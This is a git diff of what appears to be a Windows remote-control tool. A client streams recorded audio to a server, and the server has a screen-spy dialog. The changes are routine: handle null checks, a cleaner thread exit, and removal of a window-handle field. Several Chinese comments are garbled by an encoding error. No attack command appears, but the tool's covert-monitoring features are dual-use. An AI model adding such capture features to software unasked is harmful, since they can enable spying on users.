diff --git a/client/AudioManager.cpp b/client/AudioManager.cpp
index f91a52f..9c3b5be 100644
--- a/client/AudioManager.cpp
+++ b/client/AudioManager.cpp
@@ -20,6 +20,8 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManag
m_AudioObject = NULL;
if (Initialize()==FALSE) {
+ szPacket = NULL;
+ m_hWorkThread = NULL;
return;
}
@@ -52,7 +54,7 @@ VOID CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
DWORD CAudioManager::WorkThread(LPVOID lParam) //发送声音到服务端
{
CAudioManager *This = (CAudioManager *)lParam;
- while (This->m_bIsWorking) {
+ while (This->m_bIsWorking && !This->g_bExit) {
if(!This->SendRecordBuffer())
Sleep(50);
}
@@ -87,7 +89,8 @@ BOOL CAudioManager::SendRecordBuffer()
CAudioManager::~CAudioManager()
{
m_bIsWorking = FALSE; //设定工作状态为假
- WaitForSingleObject(m_hWorkThread, INFINITE); //等待 工作线程结束
+ if (m_hWorkThread)
+ WaitForSingleObject(m_hWorkThread, INFINITE); //等待 工作线程结束
if (m_hWorkThread)
CloseHandle(m_hWorkThread);
diff --git a/common/locker.h b/common/locker.h
index 39d145b..2e030c0 100644
--- a/common/locker.h
+++ b/common/locker.h
@@ -146,7 +146,7 @@ public:
}
};
-#ifdef _DEBUG
+#if defined (_DEBUG) || defined (WINDOWS)
// 鏅鸿兘璁$畻褰撳墠鍑芥暟鐨勮楁椂锛岃秴鏃朵細鎵撳嵃
#define AUTO_TICK(thresh, tag) auto_tick TICK(__FILE__, __FUNCTION__, __LINE__, thresh, tag)
#define STOP_TICK TICK.stop()
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index 3cf3d3a..819dbaa 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -2091,10 +2091,10 @@ BOOL CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
int cmd = ContextObject->GetBYTE(0);
AUTO_TICK(50, std::to_string(cmd));
- if (ContextObject->hWnd) {
- if (!IsWindow(ContextObject->hWnd))
+ DialogBase* Dlg = (DialogBase*)ContextObject->hDlg;
+ if (Dlg) {
+ if (!IsWindow(Dlg->GetSafeHwnd()))
return FALSE;
- DialogBase* Dlg = (DialogBase*)ContextObject->hDlg;
Dlg->MarkReceiving(true);
Dlg->OnReceiveComplete();
Dlg->MarkReceiving(false);
@@ -2121,24 +2121,17 @@ BOOL CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
return TRUE;
}
-// 瀵硅瘽妗嗘寚閽堝強瀵硅瘽妗嗗彞鏌
-struct dlgInfo {
- HANDLE hDlg; // 瀵硅瘽妗嗘寚閽
- HWND hWnd; // 绐楀彛鍙ユ焺
- dlgInfo(HANDLE h, HWND type) : hDlg(h), hWnd(type) { }
-};
BOOL CALLBACK CMy2015RemoteDlg::OfflineProc(CONTEXT_OBJECT* ContextObject)
{
if (!g_2015RemoteDlg || g_2015RemoteDlg->isClosed)
return FALSE;
- dlgInfo* dlg = ContextObject->hWnd ? new dlgInfo(ContextObject->hDlg, ContextObject->hWnd) : NULL;
SOCKET nSocket = ContextObject->sClientSocket;
- g_2015RemoteDlg->PostMessage(WM_USEROFFLINEMSG, (WPARAM)dlg, (LPARAM)nSocket);
+ g_2015RemoteDlg->PostMessage(WM_USEROFFLINEMSG, (WPARAM)ContextObject->hDlg, (LPARAM)nSocket);
- ContextObject->hWnd = NULL;
+ ContextObject->hDlg = NULL;
return TRUE;
}
@@ -2534,13 +2527,9 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
}
LeaveCriticalSection(&m_cs);
- dlgInfo *p = (dlgInfo *)wParam;
- if (p) {
- if (::IsWindow(p->hWnd)) {
- ::PostMessageA(p->hWnd, WM_CLOSE, 0, 0);
- }
- delete p;
- p = NULL;
+ DialogBase *p = (DialogBase*)wParam;
+ if (p && ::IsWindow(p->GetSafeHwnd())) {
+ ::PostMessageA(p->GetSafeHwnd(), WM_CLOSE, 0, 0);
}
return S_OK;
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index 48e715e..932b650 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -194,7 +194,6 @@ public:
m_gridDlg->ShowWindow(isGrid ? SW_SHOWMAXIMIZED : SW_HIDE);
}
- ContextObject->hWnd = Dlg->GetSafeHwnd();
ContextObject->hDlg = Dlg;
if(id == IDD_DIALOG_SCREEN_SPY)
m_RemoteWnds[Dlg->GetSafeHwnd()]=(CDialogBase*)Dlg;
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.user b/server/2015Remote/2015Remote_vs2015.vcxproj.user
index d211272..ef96aac 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj.user
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj.user
@@ -17,6 +17,7 @@
$(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt)
WindowsLocalDebugger
-agent
+ -agent|
2015Remote.rc
diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp
index bb95f02..6abf704 100644
--- a/server/2015Remote/IOCPServer.cpp
+++ b/server/2015Remote/IOCPServer.cpp
@@ -277,8 +277,6 @@ BOOL IOCPServer::InitializeIOCP(VOID)
DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
{
- Mprintf("======> IOCPServer WorkThreadProc begin \n");
-
ZSTD_DCtx* m_Dctx = ZSTD_createDCtx(); // 瑙e帇涓婁笅鏂
IOCPServer* This = (IOCPServer*)(lParam);
@@ -371,8 +369,6 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
ZSTD_freeDCtx(m_Dctx);
- Mprintf("======> IOCPServer WorkThreadProc end \n");
-
return 0;
}
diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h
index 7ea4124..7bf91f6 100644
--- a/server/2015Remote/Server.h
+++ b/server/2015Remote/Server.h
@@ -367,8 +367,7 @@ public:
CBuffer InCompressedBuffer; // 鎺ユ敹鍒扮殑鍘嬬缉鐨勬暟鎹
CBuffer InDeCompressedBuffer; // 瑙e帇鍚庣殑鏁版嵁
CBuffer OutCompressedBuffer;
- HWND hWnd;
- HANDLE hDlg;
+ HANDLE hDlg; // 瀵硅瘽妗嗘寚閽
OVERLAPPEDPLUS* olps; // OVERLAPPEDPLUS
int CompressMethod; // 鍘嬬缉绠楁硶
HeaderParser Parser; // 瑙f瀽鏁版嵁鍗忚
@@ -464,7 +463,6 @@ public:
VOID InitMember(SOCKET s, Server *svr)
{
memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH);
- hWnd = NULL;
hDlg = NULL;
sClientSocket = s;
PeerName = ::GetPeerName(sClientSocket);